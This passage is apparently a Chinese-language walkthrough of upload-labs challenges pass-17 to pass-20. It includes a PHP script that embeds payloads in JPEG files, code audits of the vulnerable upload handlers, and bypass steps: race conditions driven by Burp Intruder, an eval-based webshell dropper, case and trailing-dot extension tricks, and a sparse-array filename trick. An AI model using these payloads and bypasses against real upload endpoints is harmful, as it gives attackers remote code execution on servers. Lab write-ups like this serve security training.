if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
但是这个脚本运行之前要先准备一张1.jpg图片,然后运行脚本

然后就跟png
的处理方式一样了
pass-17
代码审计
这一关是一个逻辑漏洞,由此就会产生竞争型漏洞,来看下面的代码
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
看第二个if
判断里面,漏洞就在这里,它先判断文件是否在白名单里,如果不在就不允许上传并删除,反之允许上传。
在它判断出不允许上传到删除这个时间间隙里,我们可以竞争。
即,在它判断并且还没有改名的极短时间内,我们可以访问到这个文件,如果这个文件的php
代码是在当前目录的上一级目录生成我们的实际payload
,那么即使它判断完毕,把我们先上传的文件删除也没关系,因为我们已经生成一个实际的payload
在上一级目录了,而这个目录它是删不了的,这样我们就成功上传webshell
了。
文件上传
1. 准备php文件
php
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上传
人跟程序竞争基本搞不了,所以使用Burp
抓包。
再靶场上传之后,使用Burp
抓包,然后发给Intruder
模块,然后不停的发包,然后再浏览器不停的访问,具体操作如下
- 抓包改包

- 验证

pass-18
代码审计
php
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
这个代码看起来很多,但是对我们来说,重点在这里
php
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
这里就表明了,它的处理逻辑还是先上传,再重命名,这样又会出现一个时间间隙,我们又可以竞争。
只不过有了一个白名单的限制,我们不能上传.php
文件了不过可以上传图片码,但是图片码也不能解析,还需要一个文件包含。
文件上传
1. 准备图片码
php
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');
或
<?php file_put_contents('../wehshell.php','<?php phpinfo();');
文件保存为:democompete.php
然后使用copy命令,构造图片码并重命名为1.jpg。然后上传。

然后在浏览器访问以下路径
php
http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包
因为时间间隙太短,最好使用Burp
,一边不断发包,一边配合python
脚本,不断访问指定URL
。这样成功率更高。
抓包,然后用Intruder
模块持续发包

运行python
脚本,持续访问文件

3. 在文件夹里查看

pass-19
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里又是一个黑名单拦截,但是我们观察它的黑名单,并没有大写限制,所以一种方法是把php
的后写成大小写混合的样式,比如.pHP
;
还有一种是利用php
和windows
文件系统的特性来做文章,windows
就是会把.、空格还有::$DATA自动去掉
,而php
是因为move_upload_file()
函数,
这个函数会自动去掉文件末尾的/.
。所以,在上传的时候,我们使用Burp
抓包,然后修改一下文件后缀,那就可以成功。
文件上传
1. 大小写
准备这样一个php文件

然后就上传,之后查看一下就可以验证了
上传

下面这张是上传之后的样子,有那个破碎的图片样式,就表示成功了

然后在文件夹查看一下

2. 添加后缀
直接上传一个php
文件,

然后使用Burp
抓包,把后缀改一下再放包,然后文件夹验证一下
先加一个.

再加一个/

可以看到都成功了
pass-20
代码审计
php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
这一关有一点绕,但是呢也还是比较简单。
它的逻辑是这样的:
首先是一个前端检测,
php
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}
检测通过了就判断我们传入的是不是一个数组,如果不是,那就把文件名以.
分割,进行数组化,
php
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
然后取数组的最后一个元素,也就是我们文件的后缀名,进行一个白名单过滤,
php
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
检测通过了,再把文件重命名回来,
php
$file_name = reset($file) . '.' . $file[count($file) - 1];
问题就出在这里,这个count
函数,它在计算的时候如果遇到的数组是稀疏的(某些索引未定义),count()
只会计算已定义的索引,也就是实际有值的索引。
正常来说,我们传入的文件是abc.jpg
,经过数组化之后,0
下标是abc
,1
下标是jpg
,它计算出2
,然后进行一个count($file) - 1
那么就会有$file[1]
,也就是jpg
,然后用reset
函数取数组第一个元素,也就是abc
,这样就正好再次组成文件名abc.jpg
。然而,如果在传入文件的时候,我们通过Burp
抓包,构建一个稀疏数组,
比如这样的
php
["web.php",,"jpg"]
那么在计算的时候,得到的结果还是2
,然后又减去1
,这样就有$file[1]
,而这里的1
下标为空(是什么都没有。而不是null
),这样重命名,那么最后文件的名称就是web.php.
,
而这个.
又可以利用windows
系统的文件特性去掉,这样,我们最终就可以得到web.php
文件,也就能成功实现上传webshell
的目的。
文件上传
1. 上传

2. 抓包改包

这里1
的位置要改为图示的内容,因为这里是一个前端绕过,不改的话不行,具体见pass-02
。
2
的位置改为图示的数字,下标为0
3、4
部分是按照结构复制2
部分得到的,其中3
的下标一定不要是1
,不然就没有意义了,
而4
的位置呢就根据白名单写,写一个就好了
然后Send就可以了
3. 验证

这里可以看到info.php
已经成功上传了